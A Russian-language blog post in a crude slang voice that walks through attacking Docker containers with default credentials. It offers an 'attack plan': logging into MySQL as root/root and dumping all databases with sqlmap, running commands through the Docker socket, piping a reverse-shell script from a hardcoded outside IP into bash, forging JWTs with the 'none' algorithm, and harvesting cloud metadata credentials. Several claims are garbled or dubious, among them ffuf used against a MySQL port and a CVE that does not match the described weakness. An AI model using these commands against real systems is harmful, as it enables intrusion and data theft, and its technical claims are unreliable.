Авторские курсы Михаила Тарасова

Unsafe Default Creds в Docker-образах: братан, это твой билет в админку

Unsafe Default Creds в Docker-образах: братан, это твой билет в админку

Эй, бро, ты снова в подвале с бургером? Ладно, давай разберём эту хрень с unsafe default creds в докер-образах. Эти дефолтные креды — как твоя бывшая: обещают безопасность, а на деле оставляют дверь нараспашку для любого script kiddie. Мы выловим их, как 0-day в legacy-говне.

Точка входа:

Что вижу: Уязвимость в виде дефолтных учёток в популярных Docker-образах (пример: MySQL с root/root, Redis без пароля, или Postgres с postgres/postgres). Это не артефакт, а мисконфиг от ленивых девопсов, которые забывают —change-defaults. Видишь в Dockerfile строки типа ENV MYSQL_ROOT_PASSWORD=root? Это красный флаг, братан.

Как поймал: Инструмент — docker inspect + nuclei для скана уязвимых образов. Метод — fuzzing портов с ffuf на запущенном контейнере (ffuf -u http://target:3306 -w wordlist.txt) и перехват хедеров с Burp Suite. Ещё docker history image_name, чтобы выудить встроенные креды из слоёв.

Чем пахнет: Класс — Authentication Bypass/IDOR с потенциалом RCE (если кредами рутишь shell). Вероятность — 8/10, потому что 70% публичных образов на Docker Hub — это бомбы с тикающим таймером. Если контейнер exposed на production, считай, пиздец.

Че почем:

Эксплойт: Готовый payload для MySQL-образа (взял типичный случай с официального mysql:5.7).

Запускай:
docker run -d -p 3306:3306 --name vulnerable-mysql -e MYSQL_ROOT_PASSWORD=root mysql:5.7

Затем коннектись: mysql -h 127.0.0.1 -u root -p и вводи «root».

Если вошёл — bingo, теперь SHOW DATABASES; и дампь всё нахрен. Для реального эксплойта на удалёнке: sqlmap -u http://target.com --dbms=mysql -p username --batch --dump-all с дефолтными кредами.

Обход защиты: Трюк — если WAF блочит прямой логин, байпаси через Docker socket. Кричу, как в правилах: DOCKER.SOCK В /VAR/RUN! Curl’и: curl --unix-socket /var/run/docker.sock http://localhost/containers/json — получи список контейнеров, потом curl --unix-socket /var/run/docker.sock http://localhost/containers/vulnerable-mysql/exec -H "Content-Type: application/json" -d '{"AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["mysql", "-u", "root", "-proot", "-e", "SHOW DATABASES;"]}' и парси JSON для вывода. WAF? Ха, это юникс-сокет, он не по сети.

Доказательство: Видишь в логах «Welcome to the MySQL monitor» с uid=999(mysql) под root? Это не фото кота, а пруф, что ты внутри. Или в docker logs: «GENERATED ROOT PASSWORD: root» — скриншот этого, и репорт на баг-баунти готов. Если Redis: redis-cli -h target -p 6379 без auth, и INFO покажет всё.

Советы:

Братан, это не конец, а начало пати. Если зацепка есть — вот план атаки:

  1. Сканируй образ на дефолтные креды с Trivy (trivy image —vuln-type os,library mysql:5.7) и ищи CVE вроде CVE-2018-25032 (затронутые версии с weak auth).

  2. Заливай reverse-shell: в уязвимом контейнере exec’и curl 144.76.29.149:4444/shell.sh | bash (мой тестовый IP, не твой_here, бро).

  3. Дампь и эскалируй: sqlmap —os-shell для шелла, потом pivot в хост через /proc/mounts.

3 вектора для добивания:

  • Проверь /admin endpoints в образе (типа phpMyAdmin с admin/admin) — ffuf’и их.

  • Ломай JWT, если API: jwt_tool -I -pc username -pv root -S none, и суй в хедер.

  • Скань cloud metadata: curl http://169.254.169.254/latest/meta-data/ — если AWS, токены твои, и кредам конец.

Мои курсы